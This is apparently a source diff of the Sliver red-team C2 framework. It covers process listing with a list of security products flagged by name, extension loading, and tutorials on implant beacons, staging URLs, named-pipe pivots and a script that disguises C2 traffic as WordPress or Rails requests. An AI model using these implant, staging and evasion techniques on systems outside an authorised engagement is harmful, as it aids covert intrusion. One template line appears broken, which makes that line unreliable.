f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
+2 -3
View File
@@ -25,12 +25,11 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("", false, psCmd, func(f *pflag.FlagSet) {
f.IntP("pid", "p", -1, "filter based on pid")
f.StringP("exe", "e", "", "filter based on executable name")
f.StringP("owner", "o", "", "filter based on owner, must request full process metadata (-f)")
f.BoolP("print-cmdline", "c", false, "print command line arguments, must request full process metadata (-f)")
f.StringP("owner", "o", "", "filter based on owner")
f.BoolP("print-cmdline", "c", false, "print command line arguments")
f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)")
f.IntP("skip-pages", "S", 0, "skip the first n page(s)")
f.BoolP("tree", "T", false, "print process tree")
f.BoolP("full", "f", false, "show full process metadata (owner, architecture, session information) -- may trigger EDR")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
+24 -83
View File
@@ -105,8 +105,6 @@ var knownSecurityTools = map[string][]string{
"cyuserservice.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - user service
"cywscsvc.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - security center service
"tlaworker.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - local analysis worker
"AEEngine.exe": {console.Red, "Faronics Anti-Executable"}, // Faronics Anti-Executable - security service
"Antiexecutable.exe": {console.Red, "Faronics Anti-Executable"}, // Faronics Anti-Executable - gui and tray icon
}
// PsCmd - List processes on the remote system
@@ -115,45 +113,14 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if session == nil && beacon == nil {
return
}
ownerFilter, _ := cmd.Flags().GetString("owner")
cmdLine, _ := cmd.Flags().GetBool("print-cmdline")
tree, _ := cmd.Flags().GetBool("tree")
fullInfo, _ := cmd.Flags().GetBool("full")
if tree && fullInfo {
con.PrintWarnf("Process tree and full process metadata were requested. " +
"Full process metadata is not necessary for the process tree, so the request for full process metadata will be ignored.\n\n")
fullInfo = false
}
if ownerFilter != "" && !fullInfo {
con.PrintErrorf("Filtering on process owner was requested, but full process metadata was not requested. Re-run the command, and specify the -f flag.\n")
return
}
if cmdLine && !fullInfo {
con.PrintErrorf("Process command line arguments were requested, but full process metadata was not requested. Re-run the command, and specify the -f flag.\n")
return
}
// Get OS information
os := getOS(session, beacon)
/*
Because a full list can trigger EDR on some platforms,
namely Windows, filtering of the process list must be
done on the implant side.
*/
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
FullInfo: fullInfo,
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
os := getOS(session, beacon)
if ps.Response != nil && ps.Response.Async {
con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ps)
@@ -161,7 +128,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPS(os, ps, false, fullInfo, cmd.Flags(), con)
PrintPS(os, ps, false, cmd.Flags(), con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
@@ -170,7 +137,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
})
con.PrintAsyncResponse(ps.Response)
} else {
PrintPS(os, ps, true, fullInfo, cmd.Flags(), con)
PrintPS(os, ps, true, cmd.Flags(), con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
@@ -189,7 +156,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
}
// PrintPS - Prints the process list
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags *pflag.FlagSet, con *console.SliverClient) {
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverClient) {
pidFilter, _ := flags.GetInt("pid")
exeFilter, _ := flags.GetString("exe")
ownerFilter, _ := flags.GetString("owner")
@@ -218,25 +185,15 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
defaultInfo := table.Row{"pid", "ppid", "executable"}
switch os {
case "windows":
if fullInfo {
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
} else {
tw.AppendHeader(defaultInfo)
}
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
case "darwin":
fallthrough
case "linux":
fallthrough
default:
if fullInfo {
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
} else {
tw.AppendHeader(defaultInfo)
}
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
}
cmdLine, _ := flags.GetBool("print-cmdline")
@@ -250,7 +207,7 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
continue
}
row := procRow(proc, cmdLine, fullInfo, con)
row := procRow(tw, proc, cmdLine, con)
tw.AppendRow(row)
}
tw.SortBy([]table.SortBy{
@@ -278,7 +235,7 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
}
// procRow - Stylizes the process information
func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.SliverClient) table.Row {
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverClient) table.Row {
session, beacon := con.ActiveTarget.GetInteractive()
color := console.Normal
@@ -295,7 +252,7 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
var row table.Row
switch session.GetOS() {
case "windows":
if cmdLine && fullInfo {
if cmdLine {
var args string
if len(proc.CmdLine) >= 1 {
args = strings.Join(proc.CmdLine, " ")
@@ -311,21 +268,13 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
} else {
if fullInfo {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
}
case "darwin":
@@ -333,7 +282,7 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
case "linux":
fallthrough
default:
if cmdLine && fullInfo {
if cmdLine {
var args string
if len(proc.CmdLine) >= 2 {
args = strings.Join(proc.CmdLine, " ")
@@ -348,20 +297,12 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
fmt.Sprintf(color+"%s"+console.Normal, args),
}
} else {
if fullInfo {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
}
}
-23
View File
@@ -19,7 +19,6 @@ package command
*/
import (
"fmt"
"os"
"github.com/bishopfox/sliver/client/command/alias"
@@ -32,7 +31,6 @@ import (
"github.com/bishopfox/sliver/client/command/crack"
"github.com/bishopfox/sliver/client/command/creds"
"github.com/bishopfox/sliver/client/command/exit"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/hosts"
"github.com/bishopfox/sliver/client/command/info"
@@ -93,7 +91,6 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
licenses.Commands,
settings.Commands,
alias.Commands,
extensions.Commands,
armory.Commands,
update.Commands,
operators.Commands,
@@ -134,26 +131,6 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
// [ Post-command declaration setup ]-----------------------------------------
// Load Extensions
// Similar to the SliverCommand loading, without adding the commands to the
// Server command tree. This is done to ensure that the extensions are loaded
// before the server is started, so that the extensions are registered.
extensionManifests := extensions.GetAllExtensionManifests()
for _, manifest := range extensionManifests {
_, err := extensions.LoadExtensionManifest(manifest)
// Absorb error in case there's no extensions manifest
if err != nil {
//con doesn't appear to be initialised here?
//con.PrintErrorf("Failed to load extension: %s", err)
fmt.Printf("Failed to load extension: %s\n", err)
continue
}
//for _, ext := range mext.ExtCommand {
// extensions.ExtensionRegisterCommand(ext, sliver, con)
//}
}
// Everything below this line should preferably not be any command binding
// (although you can do so without fear). If there are any final modifications
// to make to the server menu command tree, it time to do them here.
+4 -3
View File
@@ -87,7 +87,6 @@ func SliverCommands(con *client.SliverClient) console.Commands {
screenshot.Commands,
environment.Commands,
registry.Commands,
extensions.SliverCommands,
)
// [ Filesystem ]
@@ -128,7 +127,9 @@ func SliverCommands(con *client.SliverClient) console.Commands {
bind(consts.AliasHelpGroup)
// [ Extensions ]
bind(consts.ExtensionHelpGroup)
bind(consts.ExtensionHelpGroup,
extensions.Commands,
)
// [ Post-command declaration setup ]----------------------------------------
@@ -143,7 +144,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
}
// Load Extensions
extensionManifests := extensions.GetAllExtensionManifests()
extensionManifests := assets.GetInstalledExtensionManifests()
for _, manifest := range extensionManifests {
mext, err := extensions.LoadExtensionManifest(manifest)
// Absorb error in case there's no extensions manifest
+1 -4
View File
@@ -628,11 +628,8 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)")
f.IntP("skip-pages", "S", 0, "skip the first n page(s)")
f.BoolP("tree", "T", false, "print process tree")
f.BoolP("full", "f", false, "show full process info (owner, command line, session information, may trigger EDR), default true on all non-Windows OSs, false on Windows")
fullInfo := beacon.OS != "windows"
processes.PrintPS(beacon.OS, ps, true, fullInfo, f, con)
processes.PrintPS(beacon.OS, ps, true, f, con)
case sliverpb.MsgTerminateReq:
terminate := &sliverpb.Terminate{}
-3
View File
@@ -50,9 +50,6 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string
con.PrintErrorf("%s\n", err)
return
}
// Request and response content is not needed for cancelling a task
task.Request = nil
task.Response = nil
}
if task != nil {
@@ -49,7 +49,9 @@ Filesystem
grep Search for strings that match a regex within a file or directory
head Grab the first number of bytes or lines from a file
ls List current directory
memfiles List current memfiles
mkdir Make a directory
mount Get information on mounted filesystems
mv Move or rename a file
pwd Print working directory
rm Remove a file or directory
@@ -70,6 +72,7 @@ Info
getuid Get session process UID
info Get session info
ping Send round trip message to implant (does not use ICMP)
screenshot Take a screenshot
whoami Get session user execution context
```
Execute a binary
@@ -83,13 +86,3 @@ Running an interactive shell
```asciinema
{"src": "/asciinema/shell.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Not all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:
```
mount Get information on mounted filesystems (only for Windows and Linux)
screenshot Take a screenshot (only for Windows and Linux)
memfiles List current memfiles (Linux only)
```
This is an open-source project if you see a bug please file an issue! Pull requests are always welcome.
@@ -2,9 +2,9 @@
Sliver implants support two types of connections, sessions and beacons.
Sessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.
Sessions use long-polling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.
Typically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.
Typically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.
Let’s start with generating and deploying a beacon using `http`.
@@ -66,13 +66,13 @@ Commands issued for beacons can be viewed using `tasks`, the task state will ind
{"src": "/asciinema/beacon_tasks.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Session can be spun up in our beacon process using the `interactive` command. Under the hood this will spawn a goroutine running session connection loop in the same beacon process.
Session can be spun up using the `interactive` command.
```asciinema
{"src": "/asciinema/beacon_interractive.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are only supported for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are not supported and only allowed for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
Let’s switch to our newly created session and spin-up a `socks5` proxy.
@@ -91,4 +91,4 @@ Let’s switch to our newly created session and spin-up a `socks5` proxy.
You can then point your browser to port 1081 to tunnel traffic through the implant to your target’s local network.
Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session thread using the `close` command.
Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session using the `close` command.
@@ -1,19 +1,104 @@
# This course is intended for the 1.6 version of Sliver, which is not yet published
When generating implants Sliver uses a C2Profile configuration to define how implant callbacks will look over HTTP/s. This allowed operators to control headers, cookies proxies, URL paths and so on. When the implant is generated the sliver server will then select portions of that configuration to generate the implant C2Profile.
When generating implants sliver uses a C2Profile configuration, which will be used to generate the effective network configuration of the implant. For example if configured to use /admin and /demo as callback urls, it might use one, the other or both allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
For example if configured to use `/admin` and `/demo` as callback urls, it might use one, the other or both depending on your configuration allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
C2 profile configurations can be seen using the `c2profile` command, which also has import and export features.
C2 profile configurations can be seen using the `c2profile` command, which also allows import and export features.
The full list of possible configuration option can be found in the references section below, but for now lets instead customise the existing configuration.
Lets imagine we’re trying to breach a customer and want to look like we're talking to Wordpress.
We would want to update the session messages and staging with something more realistic and replace all references to `woff` for example with something less suspicious like `css`, `js` or `php`.
Lets imagine we’re trying to breach a customer we've noticed uses ruby-on-rails for their applications. By default sliver will use the following extensions:
We would also use a list of common Urls and filenames for Wordpress like `https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-wordpress-3.3.1.txt` for the `files` and `paths` variables. You could alternatively reuse Urls discovered while enumerating your target's external perimeter in a similar way.
- `.woff` for staging
- `.js` for poll requests
- `.html` for key exchanges
- `.png` for close session
- `.php` for session messages
You can use `c2profiles generate -f urls-wordpress-3.3.1.txt -n wordpress -i` to generate a new c2 profile using the urls we just downloaded. By default this command will use the default c2 profile as a template for all other variables, if you want to edit any of those you can export and re-import the modified profile.
We will need to update the session messages and staging with something more realistic and replace all references to `woff` or `php` with something less suspicious like `css`, `rb` or `erb`.
We will also use a list of common Urls and filenames for Ruby on Rails like `https://github.com/danielmiessler/SecLists/blob/master/DiscoveryWeb-Content/ror.txt` for the `*_files` and `*_paths` variables. You could also reuse Urls discovered while enumerating your target's external perimeter in a similar way.
We will split the urls using a script like the example below, and then update the files and paths variables in our configuration file.
```python
import json
import math
import sys
import random
def updateProfile(c2ProfileName, urls, cookieName):
data = open(urls).readlines()
c2Profile = open(c2ProfileName, "r").read()
jsonC2Profile = json.loads(c2Profile)
paths, filenames, extensions = [], [], []
for line in data:
line = line.strip()
if "." in line:
extensions.append(line.split(".")[-1])
if "/" in line:
segments = line.split("/")
paths.extend(segments[:-1])
filenames.append(segments[-1].split(".")[0])
extensions = list(set(extensions))
if "" in extensions:
extensions.remove("")
random.shuffle(extensions)
filenames = list(set(filenames))
if "" in filenames:
filenames.remove("")
paths = list(set(paths))
if "" in paths:
paths.remove("")
if len(extensions) < 5:
print(f'Got {len(extensions)} extensions, need at least 5.')
exit(0)
if len(paths) < 5:
print(f'Got {len(paths)} paths need at least 5.')
exit(0)
if len(filenames) < 5:
print(f'Got {len(filenames)} paths need at least 5.')
exit(0)
exts = ['poll_file_ext','stager_file_ext', 'start_session_file_ext', 'session_file_ext', 'close_file_ext' ]
for ext in exts:
jsonC2Profile["implant_config"][ext] = extensions[0]
extensions.pop(0)
pathTypes = ['poll_paths','stager_paths', 'session_paths', 'close_paths' ]
for x, pathType in enumerate(pathTypes):
jsonC2Profile["implant_config"][pathType] = paths[math.floor(x*(len(paths)/len(pathTypes))):math.floor((x+1)*(len(paths)/len(pathTypes)))]
fileTypes = ['poll_files','stager_files', 'session_files', 'close_files']
for x, fileType in enumerate(fileTypes):
jsonC2Profile["implant_config"][fileType] = filenames[math.floor(x*(len(filenames)/len(fileTypes))):math.floor((x+1)*(len(filenames)/len(fileTypes)))]
jsonC2Profile["server_config"]["cookies"] = [cookieName]
c2Profile = open(c2ProfileName, "w")
c2Profile.write(json.dumps(jsonC2Profile))
print("C2 Profile updated !")
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: updateProfile.py myC2Profile myurls.txt cookieName")
exit(0)
updateProfile(sys.argv[1], sys.argv[2], sys.argv[3])
```
The example below demonstrates how to change and import a profile.
```asciinema
{"src": "/asciinema/custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
At this point we can generate a new implant using our new profile.
@@ -10,11 +10,12 @@ For this exercise, we will create a new beacon profile and prepare to stage it.
If you look at the generated implant, you'll notice the `ID` field has been populated. When downloading your payload from the staging server your URL needs to be in the form of:
```
https://sliver-ip/definitely/not/malware?x=yourID
https://sliver-ip/whatever.stager_file_ext?x=yourID
```
There is a lot of flexibility in the form of this URL, the conditions for successful staging are:
* There has to be http url parameter containing the implant ID
* The file extension needs to match the c2 profile's stager_file_ext
* There has to be a one character http url parameter
* The digits found in the ID need to match an implant ID, if your implant ID is 1234, abcd1234, 12beu34 are all valid values
To expose a payload, you need to use the `implants stage` command and specifically select the implant to leave accessible.
@@ -32,27 +32,3 @@ The next step is to generate a payload that will connect to our listener.
```
Executing this payload will cause it to connect back through our original implant and then back to our C2 server.
```asciinema
{"src": "/asciinema/tcppivot.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
As mentionned before named pipe pivots use a similar process, first you need to create a listener:
```bash
[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar
[*] Started named pipe pivot listener \\.\pipe\foobar with id 1
```
You can then generate an implant connecting to it
```bash
sliver > generate --os windows --debug --skip-symbols --named-pipe ./pipe/foobar
[*] Generating new windows/amd64 implant binary
[*] Build completed in 1s
[*] Implant saved to /Users/tester/code/sliver/PROPER_SING.exe
```
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -1 +1 @@
{"tutorials":[{"name":"1 - Getting Started","content":"# This course is intended for the 1.6 version of Sliver, which is not yet published\n\n`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how it's set up.\n\n![Alt text](/images/Architecture.png)\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n mkdir Make a directory\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNot all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:\n\n```\nmount Get information on mounted filesystems (only for Windows and Linux)\nscreenshot Take a screenshot (only for Windows and Linux)\nmemfiles List current memfiles (Linux only)\n```\n\nThis is an open-source project if you see a bug please file an issue! Pull requests are always welcome."},{"name":"2 - Beacons vs Sessions","content":"# This course is intended for the 1.6 version of Sliver, which is not yet published\n\nSliver implants support two types of connections, sessions and beacons.\n\nSessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.\n\nTypically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n Line truncated
{"tutorials":[{"name":"1 - Getting Started","content":"# This course is intented for the 1.6 version of Sliver, which is not yet published\n\n`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as its retrieving its dependencies, consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how its setup.\n\n![Alt text](/images/Architecture.png)\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case first checkout the commands help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n memfiles List current memfiles\n mkdir Make a directory\n mount Get information on mounted filesystems\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n screenshot Take a screenshot\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n"},{"name":"2 - Beacons vs Sessions","content":"Sliver implants support two types of connections, sessions and beacons.\n\nSessions use long-poling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.\n\nTypically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n ID Name Transport Username Operating System Last Check-In Next Check-In\n========== =============== =========== ================= ================== =============== ===============\n 942c647c TIRED_GIRAFFE http(s) tester darwin/amd64 52s 12s\n\n```\n\nBeacon callback times and jitter can be set either during generation or on the fly using the `reconfig` command.\n\nThe example below sets the callback time to 5s with a 1s jitter.\n\n```bash\n[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s\n\n[*] Tasked beacon Line truncated
-17
View File
@@ -219,23 +219,6 @@ func (c *CipherContext) Decrypt(msg []byte) ([]byte, error) {
return plaintext, nil
}
// Decrypt - Decrypt a message without signature with the contextual key and check for replay attacks
func (c *CipherContext) DecryptWithoutSignatureCheck(msg []byte) ([]byte, error) {
plaintext, err := Decrypt(c.Key, msg)
if err != nil {
return nil, err
}
if 0 < len(msg) {
digest := sha256.Sum256(msg)
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
return nil, ErrReplayAttack
}
}
return plaintext, nil
}
// Encrypt - Encrypt a message with the contextual key
func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
ciphertext, err := Encrypt(c.Key, plaintext)
+1 -1
View File
@@ -45,7 +45,7 @@ var (
MaxN = uint64(9999999)
Base32EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base32EncoderID}}`, 10, 64)
Base58EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base58EncoderID}}`, 10, 64)
Base58EncoderID, _ = strconv.ParseUint(`.Encoders.Base58EncoderID}}`, 10, 64)
Base64EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base64EncoderID}}`, 10, 64)
EnglishEncoderID, _ = strconv.ParseUint(`{{.Encoders.EnglishEncoderID}}`, 10, 64)
GzipEncoderID, _ = strconv.ParseUint(`{{.Encoders.GzipEncoderID}}`, 10, 64)
+2 -2
View File
@@ -477,8 +477,8 @@ func migrateHandler(data []byte, resp RPCResponse) {
migrateResp.Success = false
migrateResp.Response = &commonpb.Response{}
} else {
// Search for the PID, do not need all info about the process
processes, err := ps.Processes(false)
// Search for the PID
processes, err := ps.Processes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
@@ -38,7 +38,7 @@ func psHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
procs, err := ps.Processes(psListReq.FullInfo)
procs, err := ps.Processes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Pid: int32(proc.Pid()),
